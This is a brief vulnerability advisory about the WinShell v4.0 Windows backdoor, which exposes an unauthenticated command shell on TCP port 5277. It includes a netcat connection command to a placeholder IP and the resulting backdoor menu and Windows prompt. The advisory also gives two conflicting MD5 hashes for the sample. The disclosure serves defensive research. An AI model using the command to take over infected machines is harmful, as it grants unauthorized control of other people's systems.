Backdoor.Win32.WinShell.40 Code Execution

Backdoor.Win32.WinShell.40 malware suffers from a code execution vulnerability.

MD5 | f0f44c02b89c8fe56bc4e60d6626bbf1

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.WinShell.40
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277, third-party attackers who can reach the system can execute OS commands further compromising the already infected machine.
Type: PE32
MD5: c98e23742807f3cb5a095f34e0eb0e52
Vuln ID: MVID-2021-0310
Disclosure: 07/27/2021

nc64.exe x.x.x.x 5277

WinShell v4.0
(C)2001 by janker

? for help

i Install
u Uninstall
w Where
r Reboot
p Poweroff
q Quit
e End
s Shell
url download

? for help
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.



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